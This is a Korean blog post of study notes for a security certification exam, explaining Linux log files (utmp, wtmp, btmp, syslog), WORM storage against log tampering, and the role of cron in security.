그러므로 리눅스에서 어떤 로그파일이 있고, 어떤 정보를 얻을 수 있는지는 아주 중요한 요소이다. 하지만 로그파일이라는 것은 파일에 불과하기 때문에 어떤 로그파일도 공격자에 의해서 조작될 수 있다. 그러므로 하나의 로그파일을 보고 침해사고를 분석하는 것이 아니라 여러개의 로그파일을 종합적으로 분석해서 판단해야 한다.

 

WORM Storage란 무엇인가?

시스템에 공격자가 침입하면 자신의 공격 행위를 삭제하기 위해서 중요한 로그파일에 대한 삭제를 시도한다. 만약 공격자가 시스템의 모든 로그파일을 삭제하거나 변조한다면, 공격자가 어떤 행위를 했는지 증명하기가 쉽지 않다. WORM 스토리지 는 이러한 문제점을 해결하기 위해서 한 번만 기록할 수 있으며, 그 다음은 읽기만 가능한 스토리지로서 WORM 스토리지에 로그파일을 기록하도록 하면 공격자는 로그파일을 삭제하거나 변조하는것이 불가능하다.

단, WORM 스토리지의 문제점은 고가의 비용이 발생한다는 것이다.

 

리눅스의 로그파일은 기본적으로 /var/log 라는 디렉터리에 존재한다. 그러므로 로그파일을 확인하기 위해서 /var/log 디렉터리로 이동해서 확인하면 된다.

 

 현재 로그인 사용자 확인

리눅스에서 "w" 혹은 "who" 명령을 실행하면 현재 로그인 한 사용자 정보를 확인할 수 있다. 즉, 리눅스에서 로그인 사용자 ID, 사용 터미널, 로그인 시간 등을 확인할 수 있다.

 

현재 로그인한 사용자 정보는 로그인을 수행할 때 utmp라는 파일에 로그인 정보가 기록된다. utmp 파일은/var/run/utmp에 존재한다. -> w,who

utmp 파일에 대한 정보를 확인하기 위해서 리눅스의 stat 명령을 실행하면 파일명, 파일 크기, 사용되는 블록 정보, inode 정보, 파일에 부여된 권한, 접근시간, 수정시간 , 변경시간 등을 확인할 수 있다.

 

wtmp -> last

- 사용자 로그인 및 로그아웃 정보

- 시스템 관련 정보

- 시스템 종료 및 부팅 정보

- 재부팅 정보

- telnet 및 ftp 등을 통한 로그인 정보

 

로그인 실패 정보 ->lastb 

- btmp 로그파일이 로그인 실패정보를 가지고있다. 

 

syslog 

syslog는 리눅스 운영체제에 대한 로그를 기록하는 데몬 프로세스로 syslogd라는 프로그램에 의해서 로그를 기록한다. syslogd.conf 는 각각의 로그파일을 어느 디렉토리에 기록할 것인지를 정의하는 설정 파일이다.

 

작업 스케줄 관리

cron

-cron은 일정한 날짜와 시간에 지정된 작업을 실행하는 프로세스로 반복적인 작업을 수행할 때 사용한다.

cron 프로세스는 /etc/crontab 파일에 설정된 것을 읽어서 작업을 수행한다

 

정보보안에서 cron이 중요한 이유는 두 가지가 있다. 첫 번째는 보안 취약점 검사를 수행할 때 매일 반복적으로 점검할 수 있다. 두 번째로는 공격자가 악성코드를 실행하는 명령을 crontab에 설정해서 악성코드를 반복적으로 실행할수도있다.

 

반응형

'공부 > 자격증' 카테고리의 다른 글

정보처리산업기사 01  (0) 2023.09.10
[보안기사] 보안기사 용어정리 1  (0) 2023.04.05
시스템보안  (0) 2020.02.06
01.29 정보보안산업기사  (0) 2020.01.29
시스템보안 - 병행성 제어  (0) 2020.01.17

+ Recent posts